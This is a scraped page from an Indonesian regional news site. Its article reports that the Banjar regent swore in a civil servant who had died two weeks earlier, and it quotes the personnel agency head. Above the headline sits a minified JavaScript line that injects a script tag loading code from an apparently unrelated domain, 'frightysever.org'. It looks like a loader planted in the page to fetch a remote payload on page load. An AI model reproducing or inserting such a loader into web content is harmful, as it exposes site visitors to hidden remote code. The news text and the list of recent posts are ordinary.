(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Data Belum Update, Bupati Banjar Lantik ASN yang Sudah Meninggal Dunia


KANALKALIMANTAN.COM, MARTAPURA – Ada yang menarik saat pelantikan 158 pejabat eselon 3 dan 4, di lingkup Kabupaten Banjar, Rabu (29/9/2021) lalu. Ternyata, salah satu ASN yang masuk daftar pejabat yang dilantik oleh Bupati Banjar H Saidi Mansyur, sudah meninggal dunia dua pekan lalu.

Almarhum yang dilantik adalah Alamsyah (44), yang sebelumnya menjabat sebagai Kepala Seksi Pemberdayaan Masyarakat Pemerintah Kelurahan Sungai Lulut. Belum lama tadi Alamsyah kembali dilantik menjadi Kepala Seksi Irigasi dan Rawa Dinas PUPR di Kabupaten Banjar.

Pelantikan ini mengacu kepada surat Keputusan Bupati Banjar nomor 8 : 21- 010 – MPI / BKDPSDM serta Peraturan Pemerintah Nomor 17 Tahun 2020 tentang perubahan dan peraturan pemerintah nomor 11 tahun 2017 tentang Manajemen Pegawai Negeri Sipil yang merupakan tindak lanjut dari Undang Undang ASN.

Menanggapi hal ini berdasarkan video yang diterima kanalkalimantan.com berdasarkan hasil wawancara dengan Kepala Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar Rakhmat Dhani, yang bersangkutan belum mengetahui pegawai tersebut telah meninggal dunia dua minggu lalu.

 

 

Baca juga : Novel Baswedan: Pimpinan KPK Kok Malah Takut Sama Orang Berantas Korupsi, Lucu Kan?

“Kami terus terang belum menerima laporan mengenai adanya pegawai yang meninggal dunia, nanti kami cek dulu mungkin jika memang meninggal dunia SK-nya akan kita lakukan perbaikan,” akunya.

Ditambahkan Dhani terkait ASN yang biasanya diinformasikan meninggal dunia, pihaknya sudah membentuk grup dari tingkat kelurahan sehingga dapat diupdate di data Sistem Informasi Kepegawaian (SIMPEG) Kabupaten Banjar.

“Seharusnya jika ada yang meninggal dunia biasa kita update di data kepegawaian di Simpeg itu tadi, sampai sekarang kita masih belum ada laporan, baru tau juga saya dari pertanyaan media ini,” tutupnya.

Di antara 158 orang pejabat eselon 3 dan 4 yang dilantik, juga ada mantan terpidana pelanggaran netralitas ASN pada Pilbup Banjar 2020. ASN yang divonis bersalah itu dilantik menjadi sekretaris di salah satu SKPD. (kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

18 menit ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

1 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

2 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

5 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

6 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

8 jam ago

This website uses cookies.